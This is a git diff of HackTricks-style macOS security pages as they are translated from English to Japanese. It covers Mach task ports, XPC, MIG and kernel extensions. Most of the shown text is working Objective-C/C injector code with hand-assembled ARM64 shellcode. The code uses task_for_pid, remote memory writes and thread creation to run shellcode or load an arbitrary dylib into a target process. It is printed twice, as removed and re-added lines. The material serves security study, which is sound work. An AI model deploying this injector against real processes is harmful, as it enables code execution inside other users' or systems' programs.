ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } pid_t pidForProcessName(NSString *processName) { - NSArray *arguments = @[@"pgrep", processName]; - NSTask *task = [[NSTask alloc] init]; - [task setLaunchPath:@"/usr/bin/env"]; - [task setArguments:arguments]; +NSArray *arguments = @[@"pgrep", processName]; +NSTask *task = [[NSTask alloc] init]; +[task setLaunchPath:@"/usr/bin/env"]; +[task setArguments:arguments]; - NSPipe *pipe = [NSPipe pipe]; - [task setStandardOutput:pipe]; +NSPipe *pipe = [NSPipe pipe]; +[task setStandardOutput:pipe]; - NSFileHandle *file = [pipe fileHandleForReading]; +NSFileHandle *file = [pipe fileHandleForReading]; - [task launch]; +[task launch]; - NSData *data = [file readDataToEndOfFile]; - NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; +NSData *data = [file readDataToEndOfFile]; +NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; - return (pid_t)[string integerValue]; +return (pid_t)[string integerValue]; } BOOL isStringNumeric(NSString *str) { - NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; - NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; - return r.location == NSNotFound; +NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; +NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; +return r.location == NSNotFound; } int main(int argc, const char * argv[]) { - @autoreleasepool { - if (argc < 2) { - NSLog(@"Usage: %s ", argv[0]); - return 1; - } +@autoreleasepool { +if (argc < 2) { +NSLog(@"Usage: %s ", argv[0]); +return 1; +} - NSString *arg = [NSString stringWithUTF8String:argv[1]]; - pid_t pid; +NSString *arg = [NSString stringWithUTF8String:argv[1]]; +pid_t pid; - if (isStringNumeric(arg)) { - pid = [arg intValue]; - } else { - pid = pidForProcessName(arg); - if (pid == 0) { - NSLog(@"Error: Process named '%@' not found.", arg); - return 1; - } - else{ - printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); - } - } +if (isStringNumeric(arg)) { +pid = [arg intValue]; +} else { +pid = pidForProcessName(arg); +if (pid == 0) { +NSLog(@"Error: Process named '%@' not found.", arg); +return 1; +} +else{ +printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); +} +} - inject(pid); - } +inject(pid); +} - return 0; +return 0; } ``` -
- ```bash gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` +### スレッドを介したDylibインジェクション -### Dylib Injection in thread via Task port +macOSでは、**スレッド**は**Mach**または**posix `pthread` API**を使用して操作できます。前回のインジェクションで生成したスレッドはMach APIを使用して生成されたため、**posix準拠ではありません**。 -In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previous injection, was generated using Mach api, so **it's not posix compliant**. +**posix**準拠のAPIを使用する必要がなかったため、**コマンドを実行するためのシンプルなシェルコードを注入する**ことが可能でした。**より複雑なインジェクション**では、**スレッド**も**posix準拠である必要があります**。 -It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. +したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthreadが作成されます**。次に、この新しいpthreadが**dlopenを呼び出して**システムから**dylibをロード**できるようになります。異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。 -Therefore, to **improve the thread** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load a dylib** from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries. - -You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): +**例のdylibs**は以下にあります(例えば、ログを生成し、その後リスニングできるもの): {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -531,7 +515,6 @@ You can find **example dylibs** in (for example the one that generates a log and
dylib_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c @@ -557,18 +540,18 @@ You can find **example dylibs** in (for example the one that generates a log and // And I say, bullshit. kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -583,236 +566,233 @@ kern_return_t mach_vm_write char injectedCode[] = - // "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) +// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) - // Call pthread_set_self +// Call pthread_set_self - "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables - "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack - "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer - "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the - "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; - "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start - "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; - "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) - "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread - "\x00\x00\x00\x14" // loop: b loop ; loop forever +"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables +"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack +"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer +"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the +"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; +"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start +"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; +"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) +"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread +"\x00\x00\x00\x14" // loop: b loop ; loop forever - // Call dlopen with the path to the library - "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; - "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; - "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop - "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() +// Call dlopen with the path to the library +"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; +"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; +"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop +"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() - // Call pthread_exit - "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT - "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; - "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit +// Call pthread_exit +"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT +"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; +"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit - "PTHRDCRT" // <- - "PTHRDEXT" // <- - "DLOPEN__" // <- - "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; +"PTHRDCRT" // <- +"PTHRDEXT" // <- +"DLOPEN__" // <- +"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; int inject(pid_t pid, const char *lib) { - task_t remoteTask; - struct stat buf; +task_t remoteTask; +struct stat buf; - // Check if the library exists - int rc = stat (lib, &buf); +// Check if the library exists +int rc = stat (lib, &buf); - if (rc != 0) - { - fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); - //return (-9); - } +if (rc != 0) +{ +fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); +//return (-9); +} - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Patch shellcode +// Patch shellcode - int i = 0; - char *possiblePatchLocation = (injectedCode ); - for (i = 0 ; i < 0x100; i++) - { +int i = 0; +char *possiblePatchLocation = (injectedCode ); +for (i = 0 ; i < 0x100; i++) +{ - // Patching is crude, but works. - // - extern void *_pthread_set_self; - possiblePatchLocation++; +// Patching is crude, but works. +// +extern void *_pthread_set_self; +possiblePatchLocation++; - uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; - uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; - uint64_t addrOfDlopen = (uint64_t) dlopen; +uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; +uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; +uint64_t addrOfDlopen = (uint64_t) dlopen; - if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadExit,8); - printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); - } +if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadExit,8); +printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); +} - if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); - printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); - } +if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); +printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); +} - if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) - { - printf ("DLOpen @%llx\n", addrOfDlopen); - memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); - } +if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) +{ +printf ("DLOpen @%llx\n", addrOfDlopen); +memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); +} - if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) - { - strcpy(possiblePatchLocation, lib ); - } - } +if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) +{ +strcpy(possiblePatchLocation, lib ); +} +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } int main(int argc, const char * argv[]) { - if (argc < 3) - { - fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); - fprintf (stderr, " _action_: path to a dylib on disk\n"); - exit(0); - } +if (argc < 3) +{ +fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); +fprintf (stderr, " _action_: path to a dylib on disk\n"); +exit(0); +} - pid_t pid = atoi(argv[1]); - const char *action = argv[2]; - struct stat buf; +pid_t pid = atoi(argv[1]); +const char *action = argv[2]; +struct stat buf; - int rc = stat (action, &buf); - if (rc == 0) inject(pid,action); - else - { - fprintf(stderr,"Dylib not found\n"); - } +int rc = stat (action, &buf); +if (rc == 0) inject(pid,action); +else +{ +fprintf(stderr,"Dylib not found\n"); +} } ``` -
- ```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` +### スレッドハイジャックによるタスクポート -### Thread Hijacking via Task port - -In this technique a thread of the process is hijacked: +この技術では、プロセスのスレッドがハイジャックされます: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -820,27 +800,27 @@ In this technique a thread of the process is hijacked: ## XPC -### Basic Information +### 基本情報 -XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process. +XPCは、macOSおよびiOS上のプロセス間通信のためのフレームワークで、XNU(macOSで使用されるカーネル)を意味します。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にします。これにより、侵害されたプロセスからの潜在的な損害を制限します。 -For more information about how this **communication work** on how it **could be vulnerable** check: +この**通信がどのように機能するか**、およびそれが**どのように脆弱である可能性があるか**についての詳細は、以下を確認してください: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ {{#endref}} -## MIG - Mach Interface Generator +## MIG - Machインターフェースジェネレーター -MIG was created to **simplify the process of Mach IPC** code creation. It basically **generates the needed code** for server and client to communicate with a given definition. Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before. +MIGは、**Mach IPC**コード作成のプロセスを**簡素化するため**に作成されました。基本的に、指定された定義に基づいてサーバーとクライアントが通信するために必要なコードを**生成**します。生成されたコードが醜い場合でも、開発者はそれをインポートするだけで、彼のコードは以前よりもはるかにシンプルになります。 -For more info check: +詳細については、以下を確認してください: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}} -## References +## 参考文献 - [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) - [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 4258ded90..276557887 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -2,40 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system. +カーネル拡張(Kexts)は、**`.kext`** 拡張子を持つ **パッケージ** であり、**macOS カーネル空間に直接ロードされる**ことで、主要なオペレーティングシステムに追加機能を提供します。 -### Requirements +### 要件 -Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded: +明らかに、これは非常に強力であるため、**カーネル拡張をロードするのは複雑です**。カーネル拡張がロードされるために満たすべき **要件** は次のとおりです: -- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded: +- **リカバリモードに入るとき**、カーネル **拡張がロードされることを許可する必要があります**:
-- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed. -- The kernel extension must also be **notarized**, Apple will be able to check it for malware. -- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**. -- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant). -- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it. +- カーネル拡張は **カーネルコード署名証明書で署名されている必要があり**、これは **Appleによってのみ付与されます**。誰が会社とその必要性を詳細にレビューします。 +- カーネル拡張は **ノータライズされている必要があり**、Appleはそれをマルウェアのチェックができます。 +- 次に、**root** ユーザーが **カーネル拡張をロードできる**唯一のユーザーであり、パッケージ内のファイルは **rootに属している必要があります**。 +- アップロードプロセス中、パッケージは **保護された非rootの場所** に準備される必要があります:`/Library/StagedExtensions`(`com.apple.rootless.storage.KernelExtensionManagement` の付与が必要です)。 +- 最後に、ロードを試みると、ユーザーは [**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 。受け入れられた場合、コンピュータは **再起動** されてロードされる必要があります。 -### Loading process +### ロードプロセス -In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +カタリナでは次のようでした:**検証** プロセスは **ユーザーランド** で行われることに注目することが興味深いです。しかし、**`com.apple.private.security.kext-management`** の付与を持つアプリケーションのみが **カーネルに拡張をロードするよう要求できます**:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd` -1. **`kextutil`** cli **starts** the **verification** process for loading an extension - - It will talk to **`kextd`** by sending using a **Mach service**. -2. **`kextd`** will check several things, such as the **signature** - - It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**. -3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded. - - **`syspolicyd`** will report the result to **`kextd`** -4. **`kextd`** will finally be able to **tell the kernel to load** the extension +1. **`kextutil`** cli **が** 拡張のロードのための **検証** プロセスを **開始します** +- **Machサービス** を使用して **`kextd`** に送信します。 +2. **`kextd`** は、**署名** などのいくつかのことをチェックします +- 拡張が **ロードできるかどうかを確認するために** **`syspolicyd`** に話します。 +3. **`syspolicyd`** は、拡張が以前にロードされていない場合、**ユーザーにプロンプトを表示します**。 +- **`syspolicyd`** は結果を **`kextd`** に報告します。 +4. **`kextd`** は最終的に **カーネルに拡張をロードするよう指示できる**ようになります。 -If **`kextd`** is not available, **`kextutil`** can perform the same checks. - -### Enumeration (loaded kexts) +もし **`kextd`** が利用できない場合、**`kextutil`** は同じチェックを実行できます。 +### 列挙(ロードされたkexts) ```bash # Get loaded kernel extensions kextstat @@ -43,40 +42,38 @@ kextstat # Get dependencies of the kext number 22 kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ``` - ## Kernelcache > [!CAUTION] -> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it. +> カーネル拡張は `/System/Library/Extensions/` にあると予想されていますが、このフォルダーに行っても **バイナリは見つかりません**。これは **kernelcache** のためであり、`.kext` を逆コンパイルするには、それを取得する方法を見つける必要があります。 -The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time. +**kernelcache** は **XNUカーネルの事前コンパイルおよび事前リンクされたバージョン**であり、重要なデバイス **ドライバ** と **カーネル拡張** が含まれています。これは **圧縮** 形式で保存され、起動プロセス中にメモリに展開されます。kernelcache は、カーネルと重要なドライバの実行準備が整ったバージョンを利用することで **起動時間を短縮** し、起動時にこれらのコンポーネントを動的に読み込んでリンクするのにかかる時間とリソースを削減します。 ### Local Kerlnelcache -In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \ -In my case in macOS I found it in: +iOS では **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** にあり、macOS では次のコマンドで見つけることができます: **`find / -name "kernelcache" 2>/dev/null`** \ +私の場合、macOS では次の場所で見つけました: - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` #### IMG4 -The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it. +IMG4 ファイル形式は、Apple が iOS および macOS デバイスで **ファームウェア** コンポーネント(**kernelcache** など)を安全に **保存および検証** するために使用するコンテナ形式です。IMG4 形式にはヘッダーと、実際のペイロード(カーネルやブートローダーなど)、署名、および一連のマニフェストプロパティをカプセル化するいくつかのタグが含まれています。この形式は暗号的検証をサポートしており、デバイスがファームウェアコンポーネントを実行する前に、その真正性と整合性を確認できるようにします。 -It's usually composed of the following components: +通常、次のコンポーネントで構成されています: - **Payload (IM4P)**: - - Often compressed (LZFSE4, LZSS, …) - - Optionally 